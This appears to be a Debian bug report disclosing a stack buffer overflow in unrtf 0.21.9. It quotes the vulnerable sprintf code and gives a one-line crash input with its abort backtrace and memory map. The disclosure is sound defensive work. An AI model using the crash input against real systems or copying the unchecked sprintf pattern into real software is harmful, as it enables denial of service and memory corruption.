Package: unrtf
Version: 0.21.9-clean-2
I've found a Stack-based buffer overflow in unrtf 0.21.9, which affects three
functions including: cmd_expand, cmd_emboss and cmd_engrave.
# convert.c
static int
cmd_expand (Word *w, int align, char has_param, int param) {
char str[10];
if (has_param) {
sprintf(str, "%d", param/4); // Overflow, 9-digit negative value triggers the
bug
if (!param)
attr_pop(ATTR_EXPAND);
else
attr_push(ATTR_EXPAND, str);
}
return FALSE;
}
Apparently writing a negative integer to the buffer can trigger the overflow
(Minus sign needs an extra byte).
* How to trigger the bug *
$ echo "\expnd-400000000" > poc
$ unrtf poc
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<!-- Translation from RTF performed by UnRTF, version 0.21.9 -->
*** buffer overflow detected ***: unrtf terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb764f37a]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb76dfe07]
/lib/i386-linux-gnu/libc.so.6(+0xf60a8)[0xb76de0a8]
/lib/i386-linux-gnu/libc.so.6(+0xf58b8)[0xb76dd8b8]
/lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0xa6)[0xb7653bf6]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0xf66)[0xb762b1d6]
/lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0x90)[0xb76dd950]
/lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x20)[0xb76dd8a0]
unrtf[0x804c7b8]
unrtf[0x804f77d]
unrtf[0x804f9e7]
unrtf[0x804920b]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7600276]
unrtf[0x804953c]
======= Memory map: ========
08048000-0805b000 r-xp 00000000 08:01 405354 /usr/bin/unrtf
0805b000-0805c000 r--p 00012000 08:01 405354 /usr/bin/unrtf
0805c000-0805d000 rw-p 00013000 08:01 405354 /usr/bin/unrtf
0805d000-08085000 rw-p 00000000 00:00 0
0952d000-0954e000 rw-p 00000000 00:00 0 [heap]
b75ca000-b75e6000 r-xp 00000000 08:01 393233
/usr/lib/i386-linux-gnu/libgcc_s.so.1
b75e6000-b75e7000 r--p 0001b000 08:01 393233
/usr/lib/i386-linux-gnu/libgcc_s.so.1
b75e7000-b75e8000 rw-p 0001c000 08:01 393233
/usr/lib/i386-linux-gnu/libgcc_s.so.1
b75e8000-b7799000 r-xp 00000000 08:01 395818
/usr/lib/i386-linux-gnu/libc-2.24.so
b7799000-b779b000 r--p 001b0000 08:01 395818
/usr/lib/i386-linux-gnu/libc-2.24.so
b779b000-b779c000 rw-p 001b2000 08:01 395818
/usr/lib/i386-linux-gnu/libc-2.24.so
b779c000-b779f000 rw-p 00000000 00:00 0
b77a3000-b77a6000 rw-p 00000000 00:00 0
b77a6000-b77a8000 r--p 00000000 00:00 0 [vvar]
b77a8000-b77aa000 r-xp 00000000 00:00 0 [vdso]
b77aa000-b77cc000 r-xp 00000000 08:01 393914 /usr/lib/i386-linux-gnu/ld-2.24.so
b77cc000-b77cd000 rw-p 00000000 00:00 0
b77cd000-b77ce000 r--p 00022000 08:01 393914 /usr/lib/i386-linux-gnu/ld-2.24.so
b77ce000-b77cf000 rw-p 00023000 08:01 393914 /usr/lib/i386-linux-gnu/ld-2.24.so
bf992000-bf9b3000 rw-p 00000000 00:00 0 [stack]
Aborted
* Test environment *
Linux debian 4.7.0-1-686-pae #1 SMP Debian 4.7.8-1 (2016-10-19) i686 GNU/Linux
libc6 2.24-8
Regards,
Amir
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